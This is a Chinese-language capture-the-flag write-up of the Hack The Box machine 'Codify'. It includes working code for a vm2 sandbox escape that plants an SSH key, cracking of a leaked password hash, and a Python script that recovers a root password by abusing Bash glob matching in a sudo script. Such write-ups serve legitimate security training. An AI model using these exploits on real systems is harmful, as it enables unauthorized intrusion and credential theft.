HTB-codify
2023-12-05 17:36:36

# 信息收集

1
nmap -sC -sV -v -oN nmap.log 10.10.11.239

扫描结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT     STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
| http-methods:
|_ Supported Methods: GET POST OPTIONS
3000/tcp open http Node.js Express framework
|_http-title: Codify
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

然后看 80 页面,什么内容都没有

接着看 3000 端口

页面有说明,是 Node.js 沙盒环境,应该是让我们执行逃逸代码

github 上找到一个新的 vm2 沙盒逃逸漏洞

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

image-20240109165840655

成功执行

image-20240109165919880

下面就要获取服务器权限了

这里直截了当通过覆写公钥到服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};

const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('cd ~/;mkdir .ssh;echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClC3wrRzNZXoHc/NXHzAFLbPGkROcP8qadteSU9uDpLwPx2wRSzbwxuFh3qog7/T9Hn47amvQARv/xDO7GUBzdxkHw2arNM6ZpRYKRgqqYLY2azMIcfHb3g3HO/rWCW8d2Hd32TrjWEJgfxcwTYc9Um4blleU4f2y2XLyNvuaWD6jHbUXPR7QAvz868uIjqV4g63Bnmz8bz1xXEnNlICnMWLa2WWKr01jpU3cy5+pb2DKTbTZgjlwX37TxWi9WmtBuKgP5HccySeeToLirwnG6zQlH+DeNX5sA2aI1xUm1R+U+wmtHL54JU46rzbZ26YvblyCJLqabi28gtoV2hksGnTDwwg4hlQkKP93w4rig0q1s3AiLEhrJdOZ0rgGSNsTrvGiiqk7XTqIPkZgsPDpZsyMvL6fXP3pVpJCOYvPf9+Ml6zwKDI1fOuFuq2ZgOtoELEghYmYgU0uDn1khHPB5FU2fbyWzh1IsLWO3sILGP5jOeml9sjQdX3aEywAPAuE= ki10moc@192.168.0.101" > ~/.ssh/authorized_keys;ls -al ~/.ssh;cat ~/.ssh/auth*');
}
`

console.log(vm.run(code));

image-20240109201616484

1
ssh svc@10.10.11.239 -i id_rsa

获取到 shell

image-20240109202542811

发现还有一个 joxxx 用户

先找下配置文件之类的

1
2
3
4
5
/var/www/contact/tickets.db
/var/lib/plocate/plocate.db
/var/lib/fwupd/pending.db
/var/lib/PackageKit/transactions.db
/var/lib/command-not-found/commands.db
1
strings /var/www/contact/tickets.db

在 tickets.db 中发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
SQLite format 3
otableticketstickets
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
tableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
))
indexsqlite_autoindex_users_1users
joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
joshua
users
tickets
Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open
Tom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open

配置文件记录了 joshua 用户的 hash

john 或者 hashcat 爆破

1
2
3
4
5
┌──(root㉿ki10Moc)-[/]
└─# john --show hash.txt
?:spongebob1

1 password hash cracked, 0 left
1
2
3
joshua@codify:/home$ id
uid=1000(joshua) gid=1000(joshua) groups=1000(joshua)
joshua@codify:/home$

下面想办法提权到 root

1
sudo -l

看到一个 sh 脚本有 root 权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

这里利用 johnua 用户登陆数据库看下 root 信息

1
2
3
mysql -u 'johnua' -h 0.0.0.0 -P 3306 -p
use mysql;
select * from user\G;

得到 root 的密码 hash,但是这里加了 salt,跑不出来,只能暴力破解了

1
2
3
Host: localhost
User: root
Password: *4ECCEBD05161B6782081E970D9D2C72138197218

回头接着看 sh 脚本

这里发现密码匹配使用 ==,在 Bash 中使用 [[]] 中的 == 所致,它执行模式匹配而不是直接字符串比较。这意味着用户输入 (USER_PASS) 被视为一种模式,如果它包含 * 或 ?等通配字符,则它可能会匹配意外的字符串。

如果实际密码是 password,但是用户输入 * 作为其密码,则模式匹配将成功,因为 * 匹配任何字符串,从而导致未经授权的访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import string
import subprocess

def check_password(p):
command = f"echo '{p}*' | sudo /opt/scripts/mysql-backup.sh"
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return "Password confirmed!" in result.stdout

charset = string.ascii_letters + string.digits
password = ""
is_password_found = False

while not is_password_found:
for char in charset:
if check_password(password + char):
password += char
print(password)
break
else:
is_password_found = True
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
joshua@codify:/tmp$ vim 1.py 
joshua@codify:/tmp$ python3 1.py
[sudo] password for joshua:
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3
joshua@codify:/tmp$ su root
Password:
root@codify:/tmp#

最终提权道 root